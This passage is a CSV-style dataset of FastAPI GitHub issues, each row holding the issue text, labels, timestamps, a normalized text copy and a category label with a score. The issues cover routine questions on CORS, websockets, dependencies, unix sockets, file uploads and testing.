- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# no code
```


### Description

The documentation asks users to install `websockets` ([link](https://fastapi.tiangolo.com/advanced/websockets/#install-websockets)); however, I don't see any dependency on the `websockets` library in the code. It seems like all `websocket` dependencies are satisfied via `starlette`, which also does not seem to use it.

### Operating System

Linux

### Operating System Details

_No response_

### FastAPI Version

0.85.0

### Python Version

3.8.13

### Additional Context

_No response_","question,question-migrate",2022-10-03 13:35:53+00:00,2023-02-27 21:25:08+00:00,4,"question,question-migrate",147.3259,is installing websockets a requirement first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description the documentation asks users to install link however i don t see any dependency on the library in the code it seems like all dependencies are satisfied via which also does not seem to use it linux details no response fastapi version python version no response,help,0.9331
tiangolo/fastapi,1394272021,CORS issue : Response to preflight request doesn't pass access control check: No 'Access-Control-Allow-Origin' header is present on the requested resource.,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
origins = [""https://abcd-1234.preview.abc.com"",
    ""https://something.netlify.app"",""http://localhost:3000/"",
    ""http://localhost.tiangolo.com"",""https://localhost.tiangolo.com""
    ]

app.add_middleware(
    CORSMiddleware,
    allow_origins=origins,
    allow_credentials=True,
    allow_methods=[""*""],
    allow_headers=[""*""],
)
```


### Description

Facing issue with : ""https://abcd-1234.preview.abc.com

Access to XMLHttpRequest at 'https://server.com/login' from origin 'https://abcd-1234.preview.abc.com' has been blocked by CORS policy: **Response to preflight request doesn't pass access control check: No 'Access-Control-Allow-Origi... [TRUNCATED]","question,question-migrate",2022-10-03 07:29:39+00:00,2023-02-27 21:25:05+00:00,3,"question,question-migrate",147.5802,cors issue response to preflight request doesn t pass access control check no access control allow origin header is present on the requested resource first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description facing issue with access to xmlhttprequest at from origin has been blocked by cors policy response to preflight request doesn t pass access control check no access control allow origi truncated,bug,0.8573
tiangolo/fastapi,1393886390,Dependecies overrides are not taken into account into the apenapi document,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import Depends, FastAPI, Header
from fastapi.security import OAuth2PasswordBearer
from fastapi.testclient import TestClient

app = FastAPI()


def get_user_id() -> int:
    pass


def get_user(user_id=Depends(get_user_id)) -> str:
    return f""{user_id}""


oauth2_scheme = OAuth2PasswordBearer(tokenUrl=""token"")


def get_user_id_from_auth_override(token: str = Depends(oauth2_scheme)) -> int:
    return 1


def get_user_id_from_header_override(user_id: int = Header()) -> int:
    return user_id


@app.get(""/user"")
def read_user(
    user: str = Depends(get_user),
):
    return user


client = TestClient(app... [TRUNCATED]","question,investigate,question-migrate",2022-10-02 20:17:55+00:00,2023-02-28 15:42:45+00:00,0,"question,investigate,question-migrate",148.8089,dependecies overrides are not taken into account into the apenapi document first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from fastapi import depends fastapi header from fastapi security import oauth passwordbearer from fastapi testclient import testclient app fastapi def get user id int pass def get user user id depends get user id str return f user id oauth scheme oauth passwordbearer tokenurl token def get user id from auth override token str depends oauth scheme int return def get user id from header override user id int header int return user id app get user def read user user str depends get user return user client testclient app truncated,documentation,0.9413
tiangolo/fastapi,1393833751,"Communicate with another Fast API project through gunicorn unix socket, without nginx","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
bind = 'unix:/var/www/myproject/socket/backend.sock'
workers = 1
worker_class = 'uvicorn.workers.UvicornWorker'
```


### Description

The code example shows my gunicorn configuration for two projects running on the same machine ( using different bind socket path for each project ). I would like to know if it's possible to send requests to unix socket, from a Fast API project 'A' to another Fast API project 'B', without having to setup an Nginx proxy. Reason being is that project 'B' is for internal use, and I don't want any public access to it. I assume if it's possible to request directly the socket, it's a better and clea... [TRUNCATED]","question,question-migrate",2022-10-02 17:10:20+00:00,2023-02-27 21:25:03+00:00,2,"question,question-migrate",148.1769,communicate with another fast api project through gunicorn unix socket without nginx first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description the code example shows my gunicorn configuration for two projects running on the same machine using different bind socket path for each project i would like to know if it s possible to send requests to unix socket from a fast api project a to another fast api project b without having to setup an nginx proxy reason being is that project b is for internal use and i don t want any public access to it i assume if it s possible to request directly the socket it s a better and clea truncated,help,0.9838
tiangolo/fastapi,1393539208,Load local file,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# THE ROOT API
# the data is a list of dictionaries
@app.get(""/"")
async def root():
    data = open('valid.json')
    json_data = json.load(data)

    return json_data[0]
```


### Description

I am trying to load a local json file on my computer using my fast API main.py file. But I keep on getting a file not found error.
What could be the issue and how can I solve this problem considering I need to use the json content in the file within the app itself and not return it to an end user

### Operating System

Windows

### Operating System Details

Chrome OS

### FastAPI Version

0.85.0

### Python Version

3.8.12

### Additional Context

_No ... [TRUNCATED]","question,question-migrate",2022-10-01 20:14:24+00:00,2023-02-27 21:24:59+00:00,4,"question,question-migrate",149.049,load local file first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i am trying to load a local json file on my computer using my fast api main py file but i keep on getting a file not found error what could be the issue and how can i solve this problem considering i need to use the json content in the file within the app itself and not return it to an end user windows details chrome os fastapi version python version no truncated,help,0.9341
tiangolo/fastapi,1393407075,"cannot use playwright-python in fastapi, got NotImplementedError","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
// api.py
from playwright.async_api import async_playwright
class FS131VIAPI:
    def __init__(self):
        self.cookie = None
    async def fetch(self, params):
        await self.login_for_cookie()
        logger.info(params)

    async def login_for_cookie(self):
        async with async_playwright() as p:
            browser = await p.chromium.launch(headless=False)
            context = await browser.new_context()
            page = await context.new_page()
            await page.goto(""https://cn.bing.com/"")
            print(await page.title())
            print(await context.cookies())
            self.cookie = await context... [TRUNCATED]","question,investigate,question-migrate",2022-10-01 13:36:32+00:00,2023-02-28 15:42:42+00:00,6,"question,investigate,question-migrate",150.0876,cannot use playwright python in fastapi got notimplementederror first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python api py from playwright async api import async playwright class fs viapi def init self self cookie none async def fetch self params await self login for cookie logger info params async def login for cookie self async with async playwright as p browser await p chromium launch headless false context await browser new context page await context new page await page goto print await page title print await context cookies self cookie await context truncated,bug,0.9612
tiangolo/fastapi,1393063700,HTTPException is not picklable,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import pickle
import unittest
from fastapi import HTTPException

def pickle_reduce(self):
    return (HTTPException, (self.status_code, self.detail))

#uncomment to fix
#HTTPException.__reduce__ = pickle_reduce



class TestModelStats(unittest.TestCase):
    def test_pickle_exc_http(self): # this will fail
        pbytes = pickle.dumps(
            HTTPException(status_code = 404, detail=""Not found"")
        )
        obj = pickle.loads(pbytes) 
        print(type(obj), obj)
```


### Description

This can be worked around using the above

see:     # make this unpicklable
    # python - How to make a custom exception class with m... [TRUNCATED]","question,answered,question-migrate",2022-09-30 22:00:13+00:00,2023-02-27 21:24:55+00:00,9,"question,answered,question-migrate",149.9755,httpexception is not picklable first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description this can be worked around using the above see make this unpicklable python how to make a custom exception class with m truncated,help,0.9136
tiangolo/fastapi,1388350106,grpc.aio Dependancy Injection Best Practice ,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# An example based very roughly on https://github.com/grpc/grpc/blob/master/examples/python/helloworld/async_greeter_client.py
from fastapi import FastAPI, Depends

app = FastAPI()

import grpc
import helloworld_pb2
import helloworld_pb2_grpc

async def get_stub():
    async with grpc.aio.insecure_channel('localhost:50051') as channel:
        stub = helloworld_pb2_grpc.GreeterStub(channel)
        yield stub

@app.get(""/"")
async def my_endpoint_with_a_grpc_stub(stub = Depends(get_stub)):
    response = await stub.SayHello(helloworld_pb2.HelloRequest(name='you'))
    return f""Greeter client received: {response.messa... [TRUNCATED]","question,question-migrate",2022-09-27 20:40:06+00:00,2023-02-27 21:24:52+00:00,4,"question,question-migrate",153.0311,grpc aio dependancy injection best practice first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python an example based very roughly on from fastapi import fastapi depends app fastapi import grpc import helloworld pb import helloworld pb grpc async def get stub async with grpc aio insecure channel localhost as channel stub helloworld pb grpc greeterstub channel yield stub app get async def my endpoint with a grpc stub stub depends get stub response await stub sayhello helloworld pb hellorequest name you return f greeter client received response messa truncated,help,0.9042
tiangolo/fastapi,1388169260,Generate AWS API Gateway-compatible Swagger Schemae,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import List
from fastapi import FastAPI
from fastapi.openapi.utils import get_openapi
from typing import Any, Generic, Optional, Tuple, Type, TypeVar
from pydantic import BaseModel, validator
from pydantic.generics import GenericModel

app = FastAPI(
    title=""AMP Data Platform"",
    description=""TBW"",
    version=""0.1"",
    docs_url=""/docs"",
    openapi_url=""/openapi.json"",
    redoc_url=None,
)


DataT = TypeVar(""DataT"")


class Error(BaseModel):
    code: int
    message: str


class Response(GenericModel, Generic[DataT]):
    data: Optional[DataT]
    error: Optional[Error]

    @validator(""error"", always... [TRUNCATED]","question,investigate,reviewed,question-migrate",2022-09-27 18:11:52+00:00,2023-02-28 15:42:39+00:00,0,"question,investigate,reviewed,question-migrate",153.8964,generate aws api gateway compatible swagger schemae first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from typing import list from fastapi import fastapi from fastapi openapi utils import get openapi from typing import any generic optional tuple type typevar from pydantic import basemodel validator from pydantic generics import genericmodel app fastapi title amp data platform description tbw version docs url docs openapi url openapi json redoc url none datat typevar datat class error basemodel code int message str class response genericmodel generic datat data optional datat error optional error validator error always truncated,help,-0.6486
tiangolo/fastapi,1387832667,How to use Decimal as type in fastapi?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from decimal import Decimal, getcontext

getcontext().prec = 4

class DiscountItem(BaseModel):
    name: Optional[str] = None
    total: Decimal
```


### Description

I would like to know how the precision value of the Decimal type can be used with fastapi.
I would like to have maximum 4 decimals digits but setting the precision with the getcontext method does not seem to work.
It seem this value is not taken into account by the model, is it possible ?
What can be done to make it work ?

### Operating System

macOS

### Operating System Details

_No response_

### FastAPI Version

0.75.2

### Python Version

3.10.6

### Additional Context

... [TRUNCATED]","question,investigate,question-migrate",2022-09-27 14:07:46+00:00,2023-02-28 15:42:36+00:00,3,"question,investigate,question-migrate",154.0659,how to use decimal as type in fastapi first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i would like to know how the precision value of the decimal type can be used with fastapi i would like to have maximum decimals digits but setting the precision with the getcontext method does not seem to work it seem this value is not taken into account by the model is it possible what can be done to make it work macos details no response fastapi version python version truncated,help,0.9705
tiangolo/fastapi,1387551041,"Specifying a port does not work, always a random port is assigned.","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI

app= FastAPI(
    redoc_url= None,
)

app.get(""/"")
async def root():
    return (""test"")
```


### Description

I am trying to run the code above,

`python -m uvicorn main:app --port=8000 --reload`

Which runs the API, that part is OK. However, the port is always assigned randomly and I cannot find a way to fix this.

INFO:     Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)
INFO:     Started reloader process [2432] using StatReload
INFO:     Started server process [2524]
INFO:     Waiting for application startup.
INFO:     Application startup complete.
INFO:     ... [TRUNCATED]","question,question-migrate",2022-09-27 10:56:45+00:00,2023-02-27 21:24:47+00:00,7,"question,question-migrate",153.4361,specifying a port does not work always a random port is assigned first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i am trying to run the code above which runs the api that part is ok however the port is always assigned randomly and i cannot find a way to fix this info uvicorn running on press ctrl c to quit info started reloader process using statreload info started server process info waiting for application startup info application startup complete info truncated,help,0.9568
tiangolo/fastapi,1386484367,Tamil Translation,"Hi everyone,

We are starting this thread for tracking and coordinating tamil translation.

### Contribution
- Please let us know what page you are interested in translating so that we can coordinate
- Put up a PR, tag this issue in the PR and wait for reviews
- fix potential issues and get it merged 

When you face potential issues during translation of technical terms, like `docker`, `container` etc feel free to put it here.","feature,lang-all,lang-ta",2022-09-26 17:51:37+00:00,2023-03-04 10:26:30+00:00,1,"feature,lang-all,lang-ta",158.6909,tamil translation hi everyone we are starting this thread for tracking and coordinating tamil translation contribution please let us know what page you are interested in translating so that we can coordinate put up a pr tag this issue in the pr and wait for reviews fix potential issues and get it merged when you face potential issues during translation of technical terms like etc feel free to put it here,feature,0.9062
tiangolo/fastapi,1384786318,Use existing OpenAPI-definition,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI

app = FastAPI()

# …doesn’t matter
```


### Description

Is there a way to use an existing OpenAPI-definition? I saw that the OpenAPI-generator provides a Beta-Option to generate FastAPI-stubs, but that seems to be a little backwards, given the close relation between FastAPI and OpenAPI.

Using an additional API-definition is more time consuming from a usage point of view, however it adds the following benefits:

- Contract driven development
- Easier type safety
- Not needing a running OpenAPI-app to re-generate the Frontend-API

### Operating System

Linux

### Operating System Details

Arch Linux, newest ker... [TRUNCATED]","question,answered,question-migrate",2022-09-24 19:19:35+00:00,2023-02-27 21:24:43+00:00,5,"question,answered,question-migrate",156.0869,use existing openapi definition first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description is there a way to use an existing openapi definition i saw that the openapi generator provides a beta option to generate fastapi stubs but that seems to be a little backwards given the close relation between fastapi and openapi using an additional api definition is more time consuming from a usage point of view however it adds the following benefits contract driven development easier type safety not needing a running openapi app to re generate the frontend api linux details arch linux newest ker truncated,help,0.9735
tiangolo/fastapi,1384247537,How to pytest aiohttp when used in FastAPI,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
import aiohttp

app = FastAPI()


@app.get(""/"")
async def root():
    async with aiohttp.ClientSession() as session:
        async with session.get(""http://httpbin.org/get"") as response:
            return response.json()

# I'm not sure how to set up a pytest function to mock and test apihttp
```


### Description

I've got a FastAPI application that makes HTTP GET requests to another service using the Requests module. I'd like to make these endpoints asynchronous using aiohttp, but I don't know how to build pytest functions to mock and test the functions with aiohttp in them.

### Operating System

Linux

###... [TRUNCATED]","question,question-migrate",2022-09-23 20:01:49+00:00,2023-02-27 21:24:39+00:00,9,"question,question-migrate",157.0575,how to pytest aiohttp when used in fastapi first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i ve got a fastapi application that makes http get requests to another service using the requests module i d like to make these endpoints asynchronous using aiohttp but i don t know how to build pytest functions to mock and test the functions with aiohttp in them linux truncated,help,0.9052
tiangolo/fastapi,1384203788,Error while opening swagger docs while uploading file in APIRouter,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
router = APIRouter(
    prefix='/predict',
    tags=[""Prediction""],
    responses={404: {""description"": ""Not Found""}}
)


@router.post(""/"")
async def predict(file: UploadFile = File(...)):
    extension = file.filename.split(""."")[-1] in (""jpg"", ""jpeg"", ""png"")
    if not extension:
        raise HTTPException(status_code=400, detail=""File Format Error : Uploaded file must be a JPG, JPEG or PNG file"")
    image = read_image_file(await file.read())
    result = predict_pneumonia(image)
    if result > 0.6:
        return JSONResponse(content={""prediction"": ""pneumonia""})
    return JSONResponse(content={""prediction"": ""no... [TRUNCATED]","question,answered,question-migrate",2022-09-23 19:11:49+00:00,2023-02-27 21:24:35+00:00,6,"question,answered,question-migrate",157.0922,error while opening swagger docs while uploading file in apirouter first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python router apirouter prefix predict tags prediction responses description not found router post async def predict file uploadfile file extension file filename split in jpg jpeg png if not extension raise httpexception status code detail file format error uploaded file must be a jpg jpeg or png file image read image file await file read result predict pneumonia image if result return jsonresponse content prediction pneumonia return jsonresponse content prediction no truncated,bug,0.6705
tiangolo/fastapi,1384056064,How to identify query params with keys only and no value,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@router.get(""/events"")
def get_alerts(request: Request)
    params = request.query_params
```


### Description

I want to handle a use case where I want to handle a use case where if a query param is passed but no value is set, I would return a specific message. I want a different behavior when to when it is not passed at all.

I tried using request.query_params but it doesn't get the Key in the request as well.

Postman request looks like this:
<img width=""805"" alt=""image"" src=""https://user-images.githubusercontent.com/104721284/192010955-160c2418-63f3-46ac-9f64-a416b92c03ae.png"">




### Operating System

macOS

### Operating System Deta... [TRUNCATED]","question,answered,question-migrate",2022-09-23 16:46:06+00:00,2023-02-27 21:24:31+00:00,6,"question,answered,question-migrate",157.1933,how to identify query params with keys only and no value first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i want to handle a use case where i want to handle a use case where if a query param is passed but no value is set i would return a specific message i want a different behavior when to when it is not passed at all i tried using request query params but it doesn t get the key in the request as well postman request looks like this img width alt image src macos deta truncated,help,0.9655
tiangolo/fastapi,1383594587,Not able to train a spacy model using FASTAPI + UVICORN setup,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
